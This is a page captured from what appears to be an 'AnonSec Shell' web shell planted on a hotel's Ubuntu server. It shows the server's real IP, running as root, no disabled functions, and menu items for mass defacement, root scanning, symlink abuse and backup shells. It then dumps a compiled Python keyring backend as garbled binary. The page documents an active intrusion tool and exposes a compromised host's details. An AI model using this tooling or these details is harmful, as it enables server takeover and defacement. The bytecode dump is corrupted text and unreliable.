AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/keyring/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/keyring/backends/__pycache__/kwallet.cpython-310.pyc
o

���a��@s�ddlZddlZddlZddlmZddlmZddlmZddlm	Z	m
Z
mZddlm
Z
zddlZddlmZWneyCYn	eyKYnwd	d
�ZGdd�de�ZGd
d�de�ZdS)�N�)�KeyringBackend)�SimpleCredential)�PasswordDeleteError)�PasswordSetError�	InitError�
KeyringLocked)�
properties)�
DBusGMainLoopcCsBtttf}t�|��
tjdWd�S1swYdS)z/
    Safely infer an app id from sys.argv.
    rN)�AttributeError�
IndexError�	TypeError�
contextlib�suppress�sys�argv)�allowed�r�:/usr/lib/python3/dist-packages/keyring/backends/kwallet.py�
_id_from_argvs
$�rcs|eZdZdZe�p
dZdZdZdZe	j
edd���Z�fdd	�Z
d
d�Zdd
�Zdd�Z�fdd�Zdd�Zdd�Z�ZS)�DBusKeyringz!
    KDE KWallet 5 via D-Bus
    zPython keyring libraryNzorg.kde.kwalletd5z/modules/kwalletd5c
Cs�dt�vr	td��z	tjt�d�}Wntjy%}zt|����d}~ww|�|j�s7|j|�	�vs7td��dt
�dd��d�vrDd	Sd
S)N�dbuszpython-dbus not installed��mainloopzCThe KWallet daemon is neither running nor activatable through D-Bus�KDE�XDG_CURRENT_DESKTOP��:gffffff@g������@)
�globals�RuntimeErrorr�
SessionBusr
�
DBusException�get_dbus_message�name_has_owner�bus_name�list_activatable_names�os�getenv�split)�cls�bus�excrrr�priority(s$
��
���zDBusKeyring.prioritycst�j|i|��d|_dS)N���)�super�__init__�handle)�self�arg�kw��	__class__rrr/<s
zDBusKeyring.__init__c	Cs�d}g}|j�|j||j�rd|j�|j|d|j�}|��D]-}|d}|d}|�dd�\}}|j�|j||||j�}|dkrJ|j�|j|||j�q|j�|j|d|j�}|sf|j�	|j||j�dSdSdS)N�Pythonz*@*r��@�*)
�iface�	hasFolderr0�appid�readPasswordList�items�rsplit�
writePassword�removeEntry�removeFolder)	r1�service�
old_folder�
entry_list�entry�key�password�username�retrrr�_migrate@s.�����zDBusKeyring._migratec
Cs�|jdkr|j�|j�rdStjt�d�}d}z|�|j|j�}t�	|d�|_|j�
|j��||j�|_Wntj
yH}ztd|��d}~ww|jdkrPdS|�|�dS)NrTrzorg.kde.KWalletzFailed to open keyring: %s.F)r0r:�isOpenrr r
�
get_objectr$�object_path�	Interface�open�
networkWalletr<r!rrK)r1rCr*�wId�
remote_obj�errr�	connectedYs"
��

zDBusKeyring.connectedcCsJ|�|�s	td��|j�|j|||j�sdS|j�|j|||j�}t|�S)z,Get password of the username for the service�Failed to unlock the keyring!N)rUrr:�hasEntryr0r<�readPassword�str�r1rCrIrHrrr�get_passwordls
zDBusKeyring.get_passwordcsp|durt��||�S|�|�std��|j�|j||j�D]}|j�|j|||j�}t	t
|�t
|��SdS)aGets the first username and password for a service.
        Returns a Credential instance

        The username can be omitted, but if there is one, it will forward to
        get_password.
        Otherwise, it will return the first username and password combo that it finds.
        NrV)r.�get_credentialrUrr:�	entryListr0r<rXrrYrZr4rrr\vs
��zDBusKeyring.get_credentialcCs.|�|�s	td��|j�|j||||j�dS)z,Set password for the username of the service�Cancelled by userN)rUrr:r@r0r<rZrrr�set_password�s
zDBusKeyring.set_passwordcCsJ|�|�s	td��|j�|j|||j�std��|j�|j|||j�dS)z4Delete the password for the username of the service.r^zPassword not foundN)rUrr:rWr0r<rA)r1rCrIrrr�delete_password�s

zDBusKeyring.delete_password)�__name__�
__module__�__qualname__�__doc__rr<�walletr$rNr	�
ClassProperty�classmethodr,r/rKrUr[r\r_r`�
__classcell__rrr4rrs 

rcs2eZdZdZdZdZeje�fdd���Z	�Z
S)�DBusKeyringKWallet4z!
    KDE KWallet 4 via D-Bus
    zorg.kde.kwalletdz/modules/kwalletdcst�jdS)Nr7)r.r,)r)r4rrr,�szDBusKeyringKWallet4.priority)rarbrcrdr$rNr	rfrgr,rhrrr4rri�sri)rr&r�backendr�credentialsr�errorsrrrr�utilr	r�dbus.mainloop.glibr
�ImportErrorrrrrirrrr�<module>s&�	~

Anon7 - 2022
AnonSec Team